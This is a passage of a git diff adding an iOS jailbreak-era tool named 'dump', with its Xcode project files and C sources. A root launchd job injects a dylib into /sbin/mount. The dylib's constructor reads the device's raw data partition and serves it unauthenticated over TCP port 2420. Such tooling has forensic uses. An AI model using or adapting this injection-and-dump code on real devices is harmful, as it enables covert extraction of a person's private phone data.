8A6E7427188EF34B000D650F /* sock */, + 8A6E741D188EF333000D650F /* dump.c */, + 8A6E741E188EF333000D650F /* dump.h */, + 8A6E739F188EF0E4000D650F /* Package */, + 8A6E73A3188EF0E4000D650F /* Supporting Files */, + ); + path = dump; + sourceTree = ""; + }; + 8A6E739F188EF0E4000D650F /* Package */ = { + isa = PBXGroup; + children = ( + 8A6E73A0188EF0E4000D650F /* DEBIAN */, + 8A6E73A5188EF0E4000D650F /* usr */, + ); + name = Package; + sourceTree = ""; + }; + 8A6E73A0188EF0E4000D650F /* DEBIAN */ = { + isa = PBXGroup; + children = ( + 8A6E73A1188EF0E4000D650F /* control.txt */, + 8A6E73A2188EF0E4000D650F /* control */, + ); + name = DEBIAN; + sourceTree = ""; + }; + 8A6E73A3188EF0E4000D650F /* Supporting Files */ = { + isa = PBXGroup; + children = ( + 8A6E7419188EF333000D650F /* com.sudo-sec.dump.plist */, + 8A6E73A4188EF0E4000D650F /* PackageVersion.plist */, + ); + name = "Supporting Files"; + sourceTree = ""; + }; + 8A6E73A5188EF0E4000D650F /* usr */ = { + isa = PBXGroup; + children = ( + 8A6E73A6188EF0E4000D650F /* bin */, + ); + name = usr; + sourceTree = ""; + }; + 8A6E73A6188EF0E4000D650F /* bin */ = { + isa = PBXGroup; + children = ( + 8A6E73A7188EF0E4000D650F /* 0xdeadfa11 */, + ); + name = bin; + sourceTree = ""; + }; + 8A6E7427188EF34B000D650F /* sock */ = { + isa = PBXGroup; + children = ( + 8A6E741F188EF333000D650F /* sock.c */, + 8A6E7420188EF333000D650F /* sock.h */, + ); + name = sock; + sourceTree = ""; + }; + 8A6E7428188EF353000D650F /* disk */ = { + isa = PBXGroup; + children = ( + 8A6E741A188EF333000D650F /* disk.c */, + 8A6E741B188EF333000D650F /* disk.h */, + ); + name = disk; + sourceTree = ""; + }; + 8A6E7429188EF36D000D650F /* misc */ = { + isa = PBXGroup; + children = ( + 8A6E7421188EF333000D650F /* util.c */, + 8A6E7422188EF333000D650F /* util.h */, + ); + name = misc; + sourceTree = ""; + }; + 8A6E7465189728A5000D650F /* Frameworks */ = { + isa = PBXGroup; + children = ( + 8A6E7463189713BA000D650F /* CoreFoundation.framework */, + ); + name = Frameworks; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 8A6E739B188EF0E4000D650F /* dump */ = { + isa = PBXNativeTarget; + buildConfigurationList = 8A6E73AC188EF0E4000D650F /* Build configuration list for PBXNativeTarget "dump" */; + buildPhases = ( + 8A6E7398188EF0E4000D650F /* Sources */, + 8A6E7399188EF0E4000D650F /* Frameworks */, + 8A6E739A188EF0E4000D650F /* ShellScript */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = dump; + productName = dump; + productReference = 8A6E739C188EF0E4000D650F /* dump */; + productType = "com.apple.product-type.tool"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 8A6E7394188EF0E4000D650F /* Project object */ = { + isa = PBXProject; + attributes = { + LastUpgradeCheck = 0510; + }; + buildConfigurationList = 8A6E7397188EF0E4000D650F /* Build configuration list for PBXProject "dump" */; + compatibilityVersion = "Xcode 3.2"; + developmentRegion = English; + hasScannedForEncodings = 0; + knownRegions = ( + en, + ); + mainGroup = 8A6E7393188EF0E4000D650F; + productRefGroup = 8A6E739D188EF0E4000D650F /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 8A6E739B188EF0E4000D650F /* dump */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXShellScriptBuildPhase section */ + 8A6E739A188EF0E4000D650F /* ShellScript */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "/opt/iOSOpenDev/bin/iosod --xcbp"; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 8A6E7398188EF0E4000D650F /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A6E7425188EF333000D650F /* sock.c in Sources */, + 8A6E7426188EF333000D650F /* util.c in Sources */, + 8A6E7423188EF333000D650F /* disk.c in Sources */, + 8A6E7424188EF333000D650F /* dump.c in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin XCBuildConfiguration section */ + 8A6E73AA188EF0E4000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = NO; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_DYNAMIC_NO_PIC = NO; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_SYMBOLS_PRIVATE_EXTERN = NO; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = NO; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Debug; + }; + 8A6E73AB188EF0E4000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CLANG_ENABLE_MODULES = YES; + COPY_PHASE_STRIP = YES; + EXCLUDED_RECURSIVE_SEARCH_PATH_SUBDIRECTORIES = "*.nib *.lproj *.gch (*) .DS_Store CVS .svn .git .hg *.xcodeproj *.xcode *.pbproj *.pbxproj"; + FRAMEWORK_SEARCH_PATHS = ( + "$(iOSOpenDevPath)/frameworks/**", + "$(SDKROOT)/System/Library/PrivateFrameworks", + ); + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + HEADER_SEARCH_PATHS = "$(iOSOpenDevPath)/include/**"; + IPHONEOS_DEPLOYMENT_TARGET = 7.0; + LIBRARY_SEARCH_PATHS = "$(iOSOpenDevPath)/lib/**"; + MACH_O_TYPE = mh_dylib; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = YES; + iOSOpenDevPath = /opt/iOSOpenDev; + }; + name = Release; + }; + 8A6E73AD188EF0E4000D650F /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Debug; + }; + 8A6E73AE188EF0E4000D650F /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + CODE_SIGN_IDENTITY = ""; + INSTALL_PATH = /usr/bin; + MACH_O_TYPE = mh_dylib; + PRODUCT_NAME = "$(TARGET_NAME)"; + iOSOpenDevBuildPackageOnAnyBuild = NO; + iOSOpenDevCopyOnBuild = NO; + iOSOpenDevDevice = iphone; + iOSOpenDevInstallOnAnyBuild = NO; + iOSOpenDevInstallOnProfiling = YES; + iOSOpenDevRespringOnInstall = NO; + iOSOpenDevUsePackageVersionPList = YES; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 8A6E7397188EF0E4000D650F /* Build configuration list for PBXProject "dump" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E73AA188EF0E4000D650F /* Debug */, + 8A6E73AB188EF0E4000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; + 8A6E73AC188EF0E4000D650F /* Build configuration list for PBXNativeTarget "dump" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 8A6E73AD188EF0E4000D650F /* Debug */, + 8A6E73AE188EF0E4000D650F /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Release; + }; +/* End XCConfigurationList section */ + }; + rootObject = 8A6E7394188EF0E4000D650F /* Project object */; +} diff --git a/dump/dump.xcodeproj/project.xcworkspace/contents.xcworkspacedata b/dump/dump.xcodeproj/project.xcworkspace/contents.xcworkspacedata new file mode 100644 index 0000000..2478f2b --- /dev/null +++ b/dump/dump.xcodeproj/project.xcworkspace/contents.xcworkspacedata @@ -0,0 +1,7 @@ + + + + + diff --git a/dump/dump.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate b/dump/dump.xcodeproj/project.xcworkspace/xcuserdata/posixninja.xcuserdatad/UserInterfaceState.xcuserstate new file mode 100644 index 0000000000000000000000000000000000000000..17a240d559cfc74232f9ea04cdd000c4010541b0 GIT binary patch literal 10841 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 literal 0 HcmV?d00001 diff --git a/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/dump.xcscheme b/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/dump.xcscheme new file mode 100644 index 0000000..3fb1084 --- /dev/null +++ b/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/dump.xcscheme @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist b/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..c14fdef --- /dev/null +++ b/dump/dump.xcodeproj/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,22 @@ + + + + + SchemeUserState + + dump.xcscheme + + orderHint + 1 + + + SuppressBuildableAutocreation + + 8A6E739B188EF0E4000D650F + + primary + + + + + diff --git a/dump/dump/PackageVersion.plist b/dump/dump/PackageVersion.plist new file mode 100644 index 0000000..7b7575c --- /dev/null +++ b/dump/dump/PackageVersion.plist @@ -0,0 +1,16 @@ + + + + + BugFix + + Major + 1 + Minor + 0 + PackageRevision + 1 + Stage + + + diff --git a/dump/dump/com.sudo-sec.dump.plist b/dump/dump/com.sudo-sec.dump.plist new file mode 100644 index 0000000..e2c484f --- /dev/null +++ b/dump/dump/com.sudo-sec.dump.plist @@ -0,0 +1,23 @@ + + + + + KeepAlive + + EnvironmentVariables + + DYLD_INSERT_LIBRARIES + /Developer/dump.dylib + + Label + com.sudo-sec.dump + ProgramArguments + + /sbin/mount + + UserName + root + RunAtLoad + + + diff --git a/dump/dump/disk.c b/dump/dump/disk.c new file mode 100644 index 0000000..39c9db3 --- /dev/null +++ b/dump/dump/disk.c @@ -0,0 +1,98 @@ +// +// disk.c +// com.sudo-sec.chop.dump +// +// Created by Joshua Hill on 1/18/14. +// +// + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "sock.h" +#include "disk.h" + +int disk_dump(const char* device, uint16_t port) { + int x = 0; + int y = 0; + int fd = 0; + uint64_t total = 0; + uint64_t totalsize = 0; + uint32_t blocksize = 0; + uint64_t blocktotal = 0; + uint64_t blockcount = 0; + unsigned char buffer[0x2000]; + + memset(buffer, '\0', 0x2000); + syslog(LOG_ERR, "++[DISK]++ Openning raw block device\n"); + fd = open(device, O_RDWR); + if (fd > 0) { + syslog(LOG_ERR, "++[DISK]++ Successfully opened disk0s1s1 block device"); + + //blocksize = 0x2000; + ioctl(fd, DKIOCGETBLOCKSIZE , &blocksize); + ioctl(fd, DKIOCGETBLOCKCOUNT , &blockcount); + blockcount /= 2; + syslog(LOG_ERR, "++[DISK]++ Blocksize is 0x%08x\n", blocksize); + syslog(LOG_ERR, "++[DISK]++ Blockcount is 0x%llx\n", blockcount); + + + syslog(LOG_ERR, "++[DISK]++ Listening on port %hd", port); + int s = sock_listen(port); + if(s > 0) { + syslog(LOG_ERR, "++[DISK]++ Waiting for client to connect"); + int c = sock_accept(s); + if(c > 0) { + syslog(LOG_ERR, "++[DISK]++ Successfully connecteded to client"); + totalsize = blocksize * blockcount; + sock_send(c, (unsigned char*)&totalsize, sizeof(totalsize)); + + + syslog(LOG_ERR, "++[DISK]++ Reading data from block device and writing to socket\n"); + while(blocktotal <= blockcount) { + memset(buffer, '\0', 0x2000); + x = read(fd, buffer, blocksize); + if (x > 0) { + y = sock_send(c, buffer, x); + if(y != x) { + syslog(LOG_ERR, "++[DISK]++ Unable to send same number of bytes\n"); + break; + } + total += x; + blocktotal++; + if(total != 0 && (total % 0x8000000) == 0) { + syslog(LOG_ERR, "++[DISK]++ 0x%llx out of 0x%llx blocks written so far\n", blocktotal, blockcount); + } + } else { + syslog(LOG_ERR, "++[DISK]++ Read 0 or less bytes, appear to be finished"); + //syslog(LOG_ERR, "++[DISK]++ Just to make sure we're not just at a hidden block, let's continue"); + //total += blocksize; + break; + } + } + + close(c); + } + + syslog(LOG_ERR, "++[DISK]++ Successfully read and send 0x%llx blocks totalling 0x%llx bytes", blocktotal, total); + syslog(LOG_ERR, "++[DISK]++ Closing socket"); + close(s); + } + + syslog(LOG_ERR, "++[DISK]++ Closing raw block device\n"); + close(fd); + fd = 0; + + } else { + syslog(LOG_ERR, "++[DISK]++ Unable to open raw block device for reading: %d", x); + return -1; + } + return 0; +} diff --git a/dump/dump/disk.h b/dump/dump/disk.h new file mode 100644 index 0000000..fdbfe26 --- /dev/null +++ b/dump/dump/disk.h @@ -0,0 +1,21 @@ +// +// dump.h +// chop +// +// Created by Joshua Hill on 1/18/14. +// +// + +#ifndef chop_dump_h +#define chop_dump_h + +#include +#include + +#define DKIOCGETBLOCKSIZE _IOR('d', 24, uint32_t) +#define DKIOCGETBLOCKCOUNT _IOR('d', 25, uint64_t) + +int disk_dump(const char* device, uint16_t port); +//int disk_flash(char* device); + +#endif diff --git a/dump/dump/dump.c b/dump/dump/dump.c new file mode 100644 index 0000000..b5fec38 --- /dev/null +++ b/dump/dump/dump.c @@ -0,0 +1,29 @@ +// +// dump.c +// dump +// +// Created by Joshua Hill on 1/16/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. + +#include +#include + +#include "disk.h" +#include "dump.h" + +void dump_enter(void) __attribute__((constructor)); +void dump_leave(void) __attribute__((destructor)); + +void dump_enter() { + syslog(LOG_ERR, "++[DUMP]++ Entering dump.dylib"); + int x = disk_dump("/dev/rdisk0s1s2", 2420); + if(x) { + syslog(LOG_ERR, "++[DUMP]++ Error dumping data"); + } else { + syslog(LOG_ERR, "++[DUMP]++ Dump finished"); + } +} + +void dump_leave() { + syslog(LOG_ERR, "++[DUMP]++ Leaving dump.dylib\n"); +} \ No newline at end of file diff --git a/dump/dump/dump.h b/dump/dump/dump.h new file mode 100644 index 0000000..d87e935 --- /dev/null +++ b/dump/dump/dump.h @@ -0,0 +1,12 @@ +// +// dump.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_dump_h +#define chop_dump_h + +#endif diff --git a/dump/dump/sock.c b/dump/dump/sock.c new file mode 100644 index 0000000..742b2f4 --- /dev/null +++ b/dump/dump/sock.c @@ -0,0 +1,60 @@ +// +// sock.cpp +// dbltool +// +// Created by Joshua Hill on 2/15/13. +// +// + +#include +#include +#include + +#include +#include +#include + +#include "sock.h" +//#include "util.h" + +int sock_listen(unsigned short portnum) { + int s; + struct sockaddr_in sa; + + s = socket(AF_INET, SOCK_STREAM, 0); + if(s < 0) { + printf("Unable to open socket\n"); + return -1; + } + + memset(&sa, 0, sizeof(struct sockaddr_in)); + sa.sin_port = htons(portnum); + sa.sin_family = PF_INET; + int x = bind(s, (struct sockaddr*)&sa, sizeof(struct sockaddr_in)); + if(x < 0) { + printf("Unable to bind to socket address\n"); + close(s); + return -1; + } + + listen(s, 3); + return s; +} + +int sock_accept(int sock) { + int x = accept(sock, NULL, NULL); + return x; +} + + +int sock_send(int sock, unsigned char* data, unsigned int size) { + //hexdump(data, size); + int x = send(sock, data, size, 0); + return x; +} + +int sock_recv(int sock, unsigned char* data, unsigned int size) { + int x = recv(sock, data, size, 0); + //hexdump(data, x); + return x; +} \ No newline at end of file diff --git a/dump/dump/sock.h b/dump/dump/sock.h new file mode 100644 index 0000000..d637c44 --- /dev/null +++ b/dump/dump/sock.h @@ -0,0 +1,17 @@ +// +// sock.h +// dbltool +// +// Created by Joshua Hill on 2/15/13. +// +// + +#ifndef __dbltool__sock__ +#define 